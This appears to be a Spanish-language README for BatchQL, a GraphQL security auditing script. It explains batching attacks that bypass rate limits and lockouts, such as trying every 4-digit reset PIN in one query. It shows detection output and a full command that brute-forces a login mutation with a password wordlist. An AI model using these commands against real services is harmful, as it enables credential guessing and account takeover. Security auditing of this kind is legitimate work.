
Script de auditoría de seguridad de GraphQL centrado en la ejecución de consultas y mutaciones GraphQL por lotes.
BatchQL es un script de auditoría de seguridad de GraphQL centrado en realizar consultas y mutaciones GraphQL por lotes. Este script no es complejo y agradecemos las mejoras.
Al explorar el espacio problemático de los ataques de batching en GraphQL, encontramos que hay algunas publicaciones de blog en internet, pero ninguna herramienta para realizar ataques de batching en GraphQL.
Los ataques de batching en GraphQL pueden ser bastante graves dependiendo de las funcionalidades implementadas. Por ejemplo, imagina una funcionalidad de restablecimiento de contraseña que espera un PIN de 4 dígitos enviado a tu correo electrónico. Con esta herramienta, podrías intentar los 10,000 intentos de PIN en una única consulta GraphQL. Esto podría eludir cualquier limitación de velocidad o bloqueo de cuenta, dependiendo de los detalles de implementación del flujo de restablecimiento de contraseña.
Esta herramienta es capaz de detectar lo siguiente:
Actualmente, esta herramienta solo admite el envío de consultas basadas en listas JSON para ataques de batching. Soporta escenarios donde las variables están incrustadas en la consulta o donde se proporcionan en la entrada JSON.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
El comando anterior hace lo siguiente:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080